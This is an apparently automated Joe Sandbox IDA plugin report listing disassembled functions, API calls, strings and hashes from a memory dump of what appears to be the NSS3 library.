sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6ADE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6ADE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6ADEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6ADF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6ADE52, 6C6ADE81
database corruption, xrefs: 6C6ADE5C, 6C6ADE8B
%s at line %d of [%.10s], xrefs: 6C6ADE61, 6C6ADE90

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: e8c77e37303a572a1f7af4d9b69267d31cc0f030e1c09d5086f4a8f150755225
Instruction ID: 13cb31ec030bdb92dbb5d85af16adec4e2ac9359f51a5b2649f4e4dac355f38e
Opcode Fuzzy Hash: e8c77e37303a572a1f7af4d9b69267d31cc0f030e1c09d5086f4a8f150755225
Instruction Fuzzy Hash: 72819F71604300AFD714DFA5C894B6A77E1BF89308F14882DED9A8BB51E731EC46C79A

Function 6C65CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C65B999), ref: 6C65CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C65B999), ref: 6C65D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C65B999), ref: 6C65D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C65B999), ref: 6C7A972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C65CFDD, 6C65D00E, 6C65D022, 6C65D033, 6C7A9780
database corruption, xrefs: 6C65CFE7, 6C65D013, 6C65D028, 6C65D039, 6C65D03E, 6C7A9786
%s at line %d of [%.10s], xrefs: 6C65CFEC, 6C65D018, 6C65D029, 6C65D03F, 6C7A978B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: f2a51b1ac99bb0bdd08c114024dad3af1ad582abf9f3a929b29b3596a7ef04d8
Instruction ID: 4fccb5c0a7625da04c90ed7f69612d5da6345d8a28759afea3e2738c5ecf28ea
Opcode Fuzzy Hash: f2a51b1ac99bb0bdd08c114024dad3af1ad582abf9f3a929b29b3596a7ef04d8
Instruction Fuzzy Hash: CC615871A042109BD320CF29C940BA7B7F1EF95318F6886ADE4499BB82D377D847C7A5

Function 6C75FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C765B40: PR_GetIdentitiesLayer.NSS3 ref: 6C765B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C760113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C760130
PORT_Alloc_Util.NSS3(00000040), ref: 6C76015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C7601AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C760202
free.MOZGLUE(?), ref: 6C760224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C760253

Strings

exporter, xrefs: 6C7600F7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 7ae41f1a6b8ab31c83eccbb7316b95c9f9c86b0f1a447395fbd57aeb63d1b6ca
Instruction ID: d74360312195a2fbf66abc4083247235c1982874d9e19cb591a09a9701221eb5
Opcode Fuzzy Hash: 7ae41f1a6b8ab31c83eccbb7316b95c9f9c86b0f1a447395fbd57aeb63d1b6ca
Instruction Fuzzy Hash: 516133B19003889BEF158FA6CE08BEE73B6FF4434CF148138ED1A5AA61E7319958C754

Function 6C734DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C73536F,00000022,?,?,00000000,?), ref: 6C734E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C734F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C734F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C734FAE
free.MOZGLUE(?), ref: 6C734FC8

Strings

%s=%s, xrefs: 6C734F89
%s=%c%s%c, xrefs: 6C734FA9
oSsl", xrefs: 6C734DFB, 6C734EF4, 6C734EC5

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSsl"
API String ID: 2709355791-1988167517
Opcode ID: 8298e1276f1bce1777b5dbf4f0f541540c3314f23ec1a273ec59eb5a8b689c11
Instruction ID: 1d984c090b83cb8d09b486cb523c9fa4c0edcad295e28e5458d4767d88f98895
Opcode Fuzzy Hash: 8298e1276f1bce1777b5dbf4f0f541540c3314f23ec1a273ec59eb5a8b689c11
Instruction Fuzzy Hash: D9515B31A441768BEB09CA69CA507FF7FF99F42308F1C9135E898A7B83D32788059791

Function 6C75EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C77A4A1,?,00000000,?,00000001), ref: 6C75EF6D

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

htonl.WSOCK32(00000000,?,6C77A4A1,?,00000000,?,00000001), ref: 6C75EFE4
htonl.WSOCK32(?,00000000,?,6C77A4A1,?,00000000,?,00000001), ref: 6C75EFF1
memcpy.VCRUNTIME140(?,?,6C77A4A1,?,00000000,?,6C77A4A1,?,00000000,?,00000001), ref: 6C75F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C77A4A1,?,00000000,?,00000001), ref: 6C75F027

Strings

dtls13, xrefs: 6C75EF33

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 58e35e7dd37a55d8c96c91adef68bd2157eae763382eee1a08595e8a956c9c31
Instruction ID: 1d1960d65cdc4d70a6239915a09e014a9ddf56d75e2f1e9097233aabb604801e
Opcode Fuzzy Hash: 58e35e7dd37a55d8c96c91adef68bd2157eae763382eee1a08595e8a956c9c31
Instruction Fuzzy Hash: 5A312671A002189FC710CF38DE44B8AB7E4EF49348F158039E8189B781EB36E925CBE1

Function 6C6DAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6DAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7F9500,6C6D3F91), ref: 6C6DAFD2

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

DER_GetInteger_Util.NSS3(?), ref: 6C6DB007

Part of subcall function 6C726A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C6D1666,?,6C6DB00C,?), ref: 6C726AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6DB02F
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6DB046
PL_FreeArenaPool.NSS3 ref: 6C6DB058
PL_FinishArenaPool.NSS3 ref: 6C6DB060

Strings

security, xrefs: 6C6DAFB8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: d12776b7dc9d7932e8503b1f116c4fb436514b869a289419b1aac812ae44d3b8
Instruction ID: e2aaed6cff43c8eb72eef8897556784264c69c2b9e269e4b6a3e0b955962ad90
Opcode Fuzzy Hash: d12776b7dc9d7932e8503b1f116c4fb436514b869a289419b1aac812ae44d3b8
Instruction Fuzzy Hash: AF315B714043009BDB208F24DD49BAA77A4BFC636CF100A19E8785BBD5E736A209C79B

Function 6C6D3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6D40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C6D3F7F,?,00000055,?,?,6C6D1666,?,?), ref: 6C6D40D9
Part of subcall function 6C6D40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C6D1666,?,?), ref: 6C6D40FC
Part of subcall function 6C6D40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C6D1666,?,?), ref: 6C6D4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6D3ED6

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6D3EEE

Part of subcall function 6C72FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C728D2D,?,00000000,?), ref: 6C72FB85
Part of subcall function 6C72FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C72FBB1

PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6D3F02
PL_FreeArenaPool.NSS3 ref: 6C6D3F14
PL_FinishArenaPool.NSS3 ref: 6C6D3F1C

Part of subcall function 6C7364F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C73127C,00000000,00000000,00000000), ref: 6C73650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6D3F27

Strings

security, xrefs: 6C6D3EBC

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 86b27686d31c1a72918a6c5672310d6f8f3cd9a3369aab37f880f1e2406929c6
Instruction ID: 455ccc75cf4421d3a04702fca2716107bd41d54d34b84bf64d07a4f386dec496
Opcode Fuzzy Hash: 86b27686d31c1a72918a6c5672310d6f8f3cd9a3369aab37f880f1e2406929c6
Instruction Fuzzy Hash: FC210AB29043046BD7248B14AD09FAB77B8BB8571CF04093DF959A7742E734E618C79A

Function 6C70ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C70ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C70AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C70AD23

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C70AD39

Strings

hSession = 0x%x, xrefs: 6C70ACFE, 6C70AD0E
C_MessageDecryptFinal, xrefs: 6C70ACE1
(CK_INVALID_HANDLE), xrefs: 6C70AD1C
n~l, xrefs: 6C70AD51, 6C70AD7B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$n~l
API String ID: 332880674-3680753607
Opcode ID: 6f0be1f079f5b123048da616bd98e6a63843c2a1489b94b685d73c16b37978db
Instruction ID: fe4ae772de1c70fa32ecee76e791f6bbd536f17a08a8e73237d605d350d34067
Opcode Fuzzy Hash: 6f0be1f079f5b123048da616bd98e6a63843c2a1489b94b685d73c16b37978db
Instruction Fuzzy Hash: 6E2108B17001449BDB209BA4DF8DB5A37B5AB4671DF040835E40D97702DB289849C7D2

Function 6C71CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C71CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C71CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C71D079

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: cedb2ba279ee4bcac43dd30bc6962d464ca5460d3ee02c451484980efb64e983
Instruction ID: dca40f1925f78c7b951ff5817c2b2d0c5ff730f4170ec95242ca618abe8b01d3
Opcode Fuzzy Hash: cedb2ba279ee4bcac43dd30bc6962d464ca5460d3ee02c451484980efb64e983
Instruction Fuzzy Hash: D3C1B1B1A042189FDB21CF24CD85BDA77B4BB48318F1841B8D84897B41E775EA95CF94

Function 6C70DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7197C1,?,00000000,00000000,?,?,?,00000000,?,6C6F7F4A,00000000), ref: 6C70DC68

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C70DFAA

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: f796dcf1c7231deaca3c75f43ba097a5d3e0bb34ef6f4853b69175bd0ef2ff89
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 8681C3F17067018BFB144A19DA9436A72DADB70348F20843ED919CAFE6E774D484C70A

Function 6C6E3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C6E3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6E3C94

Part of subcall function 6C6D95B0: TlsGetValue.KERNEL32(00000000,?,6C6F00D2,00000000), ref: 6C6D95D2
Part of subcall function 6C6D95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6F00D2,00000000), ref: 6C6D95E7
Part of subcall function 6C6D95B0: PR_Unlock.NSS3(?,?,?,?,6C6F00D2,00000000), ref: 6C6D9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C6E3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C6E3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C6E3CE1

Part of subcall function 6C6E3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6FAE42), ref: 6C6E30AA
Part of subcall function 6C6E3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E30C7
Part of subcall function 6C6E3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6E30E5
Part of subcall function 6C6E3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6E3116
Part of subcall function 6C6E3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6E312B
Part of subcall function 6C6E3090: PK11_DestroyObject.NSS3(?,?), ref: 6C6E3154
Part of subcall function 6C6E3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6E317E

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 09f74a47f6adc9fc5ccd7e7391633b2dbbcf74486de5c8f38a9619c060ed817a
Instruction ID: e3df7df1f7d723761fb1459a5288cbf3623ab1398121a6c7ac0a85e35ef2bf0a
Opcode Fuzzy Hash: 09f74a47f6adc9fc5ccd7e7391633b2dbbcf74486de5c8f38a9619c060ed817a
Instruction Fuzzy Hash: 2B610771A05200BBEB105E65DD49FA777B9EF08748F08403AFD099EA62F721D815C7A5

Function 6C723D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C723440: PK11_GetAllTokens.NSS3 ref: 6C723481
Part of subcall function 6C723440: PR_SetError.NSS3(00000000,00000000), ref: 6C7234A3
Part of subcall function 6C723440: TlsGetValue.KERNEL32 ref: 6C72352E
Part of subcall function 6C723440: EnterCriticalSection.KERNEL32(?), ref: 6C723542
Part of subcall function 6C723440: PR_Unlock.NSS3(?), ref: 6C72355B

TlsGetValue.KERNEL32 ref: 6C723D8B
EnterCriticalSection.KERNEL32(?), ref: 6C723D9F
PR_Unlock.NSS3(?), ref: 6C723DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C723DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C723E4F

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

TlsGetValue.KERNEL32 ref: 6C723E97
EnterCriticalSection.KERNEL32(?), ref: 6C723EAB
PR_Unlock.NSS3(?), ref: 6C723ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C723EEE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
